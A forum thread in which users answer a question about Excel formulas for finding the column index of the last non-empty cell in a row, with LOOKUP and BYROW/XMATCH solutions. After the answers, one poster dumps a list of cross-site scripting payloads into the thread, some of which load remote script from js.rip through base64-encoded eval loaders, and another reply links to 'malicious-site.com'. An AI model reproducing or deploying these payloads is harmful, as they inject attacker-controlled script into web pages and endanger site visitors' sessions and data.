Forum Discussion
Alexander Zeitler
Sep 05, 2023Copper Contributor
Get index of last column with any data in a row
I can get the last column with any data in a row using this formula as described here
=LOOKUP(2,1/(1:1<>""),1:1)
How can I get the index of this column?
My sheet looks similar to this one (so I have values to the left and right of the cell containing the result)
If under the index you mean column number, as variant that could be
=LOOKUP(1E+307,COLUMN(1:1)*IF(1:1="","",1))
entered as array formula (Ctrl+Shift+Enter) on other than 365 or 2021 Excel.
- PeterBartholomew1Silver Contributor
For me it would be
= BYROW(numbers, LAMBDA(row, XMATCH(TRUE, ISNUMBER(row), , -1) ) )
but that would require 365. Note: the index returned is relative to the array 'numbers' and not to the sheet.
- bug-finderCopper Contributor
PeterBartholomew1This is Just Testing so plz igone it.
<option><style></option></select><img src=x onerror=alert(1)></style>
<style><style /><img src=x onerror=alert(1)>
<img alt="<x" title="/><svg on+load=alert(4)>">
<img alt="<x" title="/><img src=x onerror=alert(5)>">
<img src=1 onerror=alert(1337)>
<script>
$('#image_cont').position({of: '<img src=1 onerror=alert(1337)>'})
</script><img src=1 onerror=alert(1337)>
Javascript://%250A0?1:import(/https:KnoXSS.me\00?1=14357/.source)//*'/*\'/*"/*\"/*`/*\`/*%26apos;)/*<!--></Title/</Style/</Script/</textArea/</iFrame/</noScript>\74k<K/contentEditable/autoFocus/OnFocus=/*${/*/;{/**/(d=document,d.body.appendChild(d.createElement(/script/.source)).src=/\\KnoXSS.me\00?1=14357/.source)}//\76-->2=[BASE64]
"><script src="https://js.rip/786"></script>
javascript:eval('var a=document.createElement(\'script\');a.src=\'https://js.rip/786\';document.body.appendChild(a)')
"><input onfocus=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vanMucmlwLzc4NiI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs autofocus>
"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vanMucmlwLzc4NiI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs onerror=eval(atob(this.id))>
"><video><source onerror=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vanMucmlwLzc4NiI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs>
"><iframe srcdoc="<script>var a=parent.document.createElement("script");a.src="https://js.rip/786";parent.document.body.appendChild(a);</script>">
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "https://js.rip/786");a.send();</script>
<script>$.getScript("https://js.rip/786")</script>A good looking XSS payload don't click.- onclickprompt8sv1615Copper Contributor<a href="https://malicious-site.com">Click me!</a>